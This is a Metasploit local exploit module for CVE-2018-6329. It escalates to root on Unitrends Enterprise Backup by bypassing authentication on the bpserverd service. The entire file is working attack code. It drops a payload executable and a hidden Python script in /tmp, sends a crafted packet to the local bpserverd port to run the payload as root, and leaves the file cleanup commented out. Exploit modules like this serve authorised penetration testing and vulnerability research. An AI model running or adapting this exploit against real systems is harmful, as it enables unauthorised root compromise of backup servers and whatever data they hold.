##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
      'Description'    => %q{
        It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
        has an issue in which its authentication can be bypassed.  A remote attacker could use this
        issue to execute arbitrary commands with root privilege on the target system.
        This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
        localhost by dropping a python script on the local file system.  Unitrends stopped
        bpserverd from listening remotely on version 10.
       },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Cale Smith', # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave', # @iotennui
          'h00die' # msf adaptations
        ],
      'DisclosureDate' => '2018-03-14',
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
          ['EDB', '44297'],
          ['CVE', '2018-6329']
        ],
      'Targets'        =>
        [
          [ 'UEB <= 10.0', { } ]
        ],
      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultTarget'  => 0
      }
    ))
    register_advanced_options([
      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
      OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
    ])
  end

  def exploit

    pl = generate_payload_exe
    exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing payload executable to '#{exe_path}'")

    write_file(exe_path, pl)
    #register_file_for_cleanup(exe_path)

pe_script = %Q{
import socket
import binascii
import struct
import time
import sys

RHOST = '127.0.0.1'
XINETDPORT = #{datastore['BPSERVERDPORT']}
cmd = "#{exe_path}"

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

try:
  pass
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3

s1.send(packet)

data = recv_timeout(s2)

print data

s1.close()
}

    pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing privesc script to '#{pes_path}'")

    write_file(pes_path, pe_script)
    #register_file_for_cleanup(pes_path)

    print_status("Fixing permissions")
    cmd_exec("chmod +x #{exe_path} #{pes_path}")

    vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
  end

end

